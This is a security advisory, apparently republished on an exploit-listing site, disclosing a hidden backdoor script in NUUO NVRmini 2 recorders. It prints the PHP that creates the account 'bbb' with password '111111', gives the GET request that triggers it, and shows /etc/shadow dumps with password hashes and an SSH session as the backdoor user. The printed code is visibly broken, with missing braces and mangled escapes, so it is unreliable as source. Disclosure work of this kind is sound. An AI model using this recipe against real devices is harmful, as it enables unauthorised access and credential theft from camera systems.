发布 2016-08-06 漏洞条目

NUUO NVRmini 2 3.0.8 – ‘strong_user.php’ Backdoor Remote Shell Access

Exploit Source

NUUO Backdoor (strong_user.php) Remote Shell Access

Vendor: NUUO Inc.

Product web page: http://www.nuuo.com

Affected version: <=3.0.8 (NE-4160, NT-4040)

Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS

functionality. Setup is simple and easy, with automatic port forwarding

settings built in. NVRmini 2 supports POS integration, making this the perfect

solution for small retail chain stores. NVRmini 2 also comes full equipped as

a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping

and RAID functions for data protection. Choose NVR and know that your valuable video

data is safe, always.

Desc: NUUO NVRmini, NVRmini2, Crystal and NVRSolo devices have a hidden PHP script

that when called, a backdoor user is created with poweruser privileges that is able

to read and write files on the affected device. The backdoor user 'bbb' when created

with the password '111111' by visiting 'strong_user.php' script is able to initiate a

secure shell session and further steal and/or destroy sensitive information.

==================================================================

/strong_user.php:

-------------------------------

<?php

class ReadPasswd{

private $file;

private $fileData;

private $error;

function __construct($file) {

try{

if (is_file($file))

{

$this->fileData = file($file);

$this->file = $file;

}

else

{

throw new Exception("Couldn’t open file.");

}

} catch (Exception $e) {

$this->error[] = $e->getMessage();

}

public function getAllHTML(){

foreach ($this->fileData as $content)

{

$temp = explode(':', $content);

$output .= "<b>Username: {$temp[0]} </b><br />";

$output .= "Validation: {$temp[1]} <br />";

$output .= "User Identifier: {$temp[2]} <br />";

$output .= "Group Identifier: {$temp[3]} <br />";

$output .= "Gecos Field: {$temp[4]} <br />";

$output .= "Home Directory: {$temp[5]} <br />";

$output .= "Shell: {$temp[6]} <br />";

$output .= "<br />";

}

return $output;

}

public function getAllCLI() {

foreach ($this->fileData as $content)

{

$temp = explode(':', $content);

$output .= "Username: {$temp[0]} n";

$output .= "Validation: {$temp[1]} n";

$output .= "User Identifier: {$temp[2]} n";

$output .= "Group Identifier: {$temp[3]} n";

$output .= "Gecos Field: {$temp[4]} n";

$output .= "Home Directory: {$temp[5]} n";

$output .= "Shell: {$temp[6]} n";

$output .= "n";

}

return $output;

}

public function searchUser($user,$data=0) {

try{

$data = array();

if (is_string($user))

{

foreach($this->fileData as $line)

{

$temp = explode(':', $line);

if (in_array($user,$temp))

{

if ($data) return 1;

$data['username'] = $temp[0];

$data['validation'] = $temp[1];

$data['user_identifier'] = $temp[2];

$data['group_identifier'] = $temp[3];

$data['gecos'] = $temp[4];

$data['home_directory'] = $temp[5];

$data['shell'] = $temp[6];

}

else

{

throw new Exception('A search error has occured.');

}

} catch (Exception $e) {

$this->error[] = $e->getMessage();

}

return $data;

}

public function getError() {

return $this->error;

}

public function deleteUser($user) {

try{

if ($this->searchUser($user,1))

{

foreach ($this->fileData as $line)

{

$lines = explode(":",$line);

if (!in_array($user,$lines))

{

$final .= $line;

}

if(!file_put_contents($this->file,$final))

{

throw new Exception("Could not delete user.");

}

else

{

throw new Exception("User doesn’t exist.");

}

} catch (Exception $e) {

echo $this->error[] = $e->getMessage();

}

echo "Strong test ";

ma_getuser();

ma_getgroup();

$result = array('users' => array(), 'groups' => array());

echo "<br>";

echo $maUser;

echo "<br>";

echo $maGroup;

echo "<br>";

foreach($maGroup as $key =>$value)

{

$tmp = array();

$tmp['groupname'] = $maGroup[$key]->strGroupname;

$tmp['members'] = array();

echo "Group (" . $key . ") === " . $maGroup[$key]->strGroupname;

echo "<br><br>";

ma_getgroupmember($maGroup[$key]->strGroupname);

foreach ($maGroupmember as $mKey => $mValue)

{

echo " User ($mKey) ===> $mValue ";

echo "<br>";

array_push($tmp['members'], $maGroupmember[$mKey]->strUsername);

}

//foreach($value as $userkey => $uservalue)

//{

// echo " User ($userkey) ===> $uservalue ";

// echo "<br>";

//}

echo "<br>";

echo implode(",", $tmp['members']);

echo "<br>";

$tmp['membersStr'] = implode(",", $tmp['members']);

array_push($result['groups'], $tmp);

}

echo "<h1> Other </h1>";

$tmp = array();

$tmp['groupname'] = 'admin';

ma_getgroupmember($tmp['groupname']);

//ma_getgroupmember('');

$tmp['members'] = array();

foreach ($maGroupmember as $mKey => $mValue)

{

array_push($tmp['members'], $maGroupmember[$mKey]->strUsername);

echo $maGroupmember[$mKey]->strUsername . "<br>";

}

$tmp['membersStr'] = implode(",", $tmp['members']);

array_push($result['groups'], $tmp);

echo "<h1> USER </h1>";

foreach ( $maUser as $key => $value)

{

$tmp = array();

$tmp['username'] = $maUser[$key]->strUsername;

$tmp['groups'] = array();

foreach ($result['groups'] as $gKey => $gValue)

{

if (in_array($tmp['username'], $gValue['members']))

array_push($tmp['groups'], $gValue['groupname']);

}

$tmp['groupsStr'] = implode(",", $tmp['groups']);

echo $tmp['username'] . "<br>";

echo $tmp['groupsStr'] . "<br>";

array_push($result['users'], $tmp);

}

echo "<h1> Read Passwd </h1>";

$passclass = new ReadPasswd('/etc/passwd');

echo $passclass->getAllHTML();

echo "<h1> add user </h1>";

//$output = system("adduser bbb -G poweruser -s /sbin/nologin -D -H; passwd bbb 111111");

//$output = system("adduser bbb -G poweruser -s /sbin/nologin -D -H");

$output = system("adduser bbb -G poweruser -D ");

$f = popen ("/usr/bin/passwd bbb","r");

$read = fread($f, 1024);

$out = fwrite($f,"111111\n");

echo $read . " read 111 ,,, $out <br>";

$read = fread($f, 1024);

$out = fwrite($f,"111111\n");

echo $read . " read 222 ,,, $out <br>";

pclose($f);

//echo $output . " kkk <br>";

$descriptorspec = array(

0 => array("pipe", "r"), // stdin is a pipe that the child will read from

1 => array("pipe", "w") // stdout is a pipe that the child will write to

);

$process = proc_open('/usr/bin/passwd bbb', $descriptorspec, $pipes);

if (is_resource($process))

{

$read = fread($pipes[1], 1024);

$out = fwrite($pipes[0],"111111\n");

echo $read . " read 111 ,,, $out <br>";

$read = fread($pipes[1], 1024);

$out = fwrite($pipes[0],"111111\n");

echo $read . " read 111 ,,, $out <br>";

fclose($pipes[0]);

fclose($pipes[1]);

}

proc_close($process);

//$handle = popen("/bin/ls", "r");

//$read = fread($handle, 1024);

//echo $read;

//pclose($handle);

==================================================================

Tested on: GNU/Linux 3.0.8 (armv7l)

GNU/Linux 2.6.31.8 (armv5tel)

lighttpd/1.4.28

PHP/5.5.3

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2016-5354

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5354.php

14.01.2016

Read of /etc/shadow file before backdoor was enabled:

------------------------------------------------------

root@nuuo:~# cat /etc/shadow

#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::

root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::

bin:*:14495:0:99999:7:::

daemon:*:14495:0:99999:7:::

adm:*:14495:0:99999:7:::

lp:*:14495:0:99999:7:::

sync:*:14495:0:99999:7:::

shutdown:*:14495:0:99999:7:::

halt:*:14495:0:99999:7:::

mail:*:14495:0:99999:7:::

uucp:*:14495:0:99999:7:::

operator:*:14495:0:99999:7:::

games:*:14495:0:99999:7:::

gopher:*:14495:0:99999:7:::

ftp:*:14495:0:99999:7:::

nobody:*:14495:0:99999:7:::

vcsa:!!:14564::::::

sshd:!!:14564::::::

guest::14564:0:99999:7:::

Issuing GET request to the script:

-----------------------------------

GET http://10.0.0.17/strong_user.php HTTP/1.1

Read of /etc/shadow file after backdoor was enabled:

-----------------------------------------------------

root@nuuo:~# cat /etc/shadow

#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::

root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::

bin:*:14495:0:99999:7:::

daemon:*:14495:0:99999:7:::

adm:*:14495:0:99999:7:::

lp:*:14495:0:99999:7:::

sync:*:14495:0:99999:7:::

shutdown:*:14495:0:99999:7:::

halt:*:14495:0:99999:7:::

mail:*:14495:0:99999:7:::

uucp:*:14495:0:99999:7:::

operator:*:14495:0:99999:7:::

games:*:14495:0:99999:7:::

gopher:*:14495:0:99999:7:::

ftp:*:14495:0:99999:7:::

nobody:*:14495:0:99999:7:::

vcsa:!!:14564::::::

sshd:!!:14564::::::

guest::14564:0:99999:7:::

bbb:$1$gYfUNAQN$.sn8WpIO5gNoOQeZzSyBI/:16915:0:99999:7:::

The backdoor account is able to read the /etc/shadow file:

-----------------------------------------------------------

bbb@10.0.0.17's password:

-sh-3.2$ id

Using fallback suid method

uid=1004(bbb) gid=1000(poweruser) groups=1000(poweruser)

-sh-3.2$ cat /etc/shadow

Using fallback suid method

#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::

root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::

bin:*:14495:0:99999:7:::

daemon:*:14495:0:99999:7:::

adm:*:14495:0:99999:7:::

lp:*:14495:0:99999:7:::

sync:*:14495:0:99999:7:::

shutdown:*:14495:0:99999:7:::

halt:*:14495:0:99999:7:::

mail:*:14495:0:99999:7:::

uucp:*:14495:0:99999:7:::

operator:*:14495:0:99999:7:::

games:*:14495:0:99999:7:::

gopher:*:14495:0:99999:7:::

ftp:*:14495:0:99999:7:::

nobody:*:14495:0:99999:7:::

vcsa:!!:14564::::::

sshd:!!:14564::::::

guest::14564:0:99999:7:::

bbb:$1$gYfUNAQN$.sn8WpIO5gNoOQeZzSyBI/:16915:0:99999:7:::

-sh-3.2$

作者: LiquidWorm
日期: 2016-08-06
类别: webapps
平台: php

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